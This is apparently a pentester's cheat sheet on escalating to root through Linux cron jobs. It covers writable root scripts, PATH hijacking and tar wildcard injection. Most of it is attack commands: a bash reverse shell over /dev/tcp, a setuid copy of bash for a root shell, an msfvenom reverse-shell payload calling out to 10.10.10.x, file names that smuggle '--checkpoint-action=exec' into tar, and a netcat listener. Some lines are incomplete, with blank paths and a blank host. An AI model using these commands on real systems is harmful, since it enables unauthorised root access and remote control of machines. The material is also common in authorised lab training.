# Cronjobs

Cron table files (crontabs) store the configuration for cron jobs.

# Location

User crontabs are usually located at

System-wide crontab is located at


cat /etc/crontab
* * * * * root overwrite.sh
* * * * * root /usr/local/bin/compress.sh

# File Permission

Cronjobs that run as root and we can write to that directory?

Add a bash reverse shell in the file:

bash -i >& /dev/tcp/ 0>&1

# PATH Environment Variable

The crontab PATH environment variable is by default set to /usr/bin:/bin

If a program/script does not use absolute path create a script with the same name as the cronjob in the first directory the path look for the files.

Example: PATH=/home/user/:/usr/local/sbin:/bin

# Exploit

cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash

Make sure the script is executable:

chmod +x overwrite.sh

Wait for the cronjob, get a root shell:

/tmp/rootbash -p

# Wildcards

Abusing TAR arguments.

Cronjob file:

cd /home/user
tar czf /tmp/backup.tar.gz *

# Exploit

Generate a reverse shell using msvenom:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.x LPORT=1234 -f elf -o shell.elf

Copy the file to the /home/user directory and make it executable:

chmod +x /home/user/shell.elf

Create two files in the /home/user directory:

touch /home/user/--checkpoint=1 
touch /home/user/--checkpoint-action=exec=shell.elf

Start a netcat listener and wait for the cronjob:

nc -lnvp 1234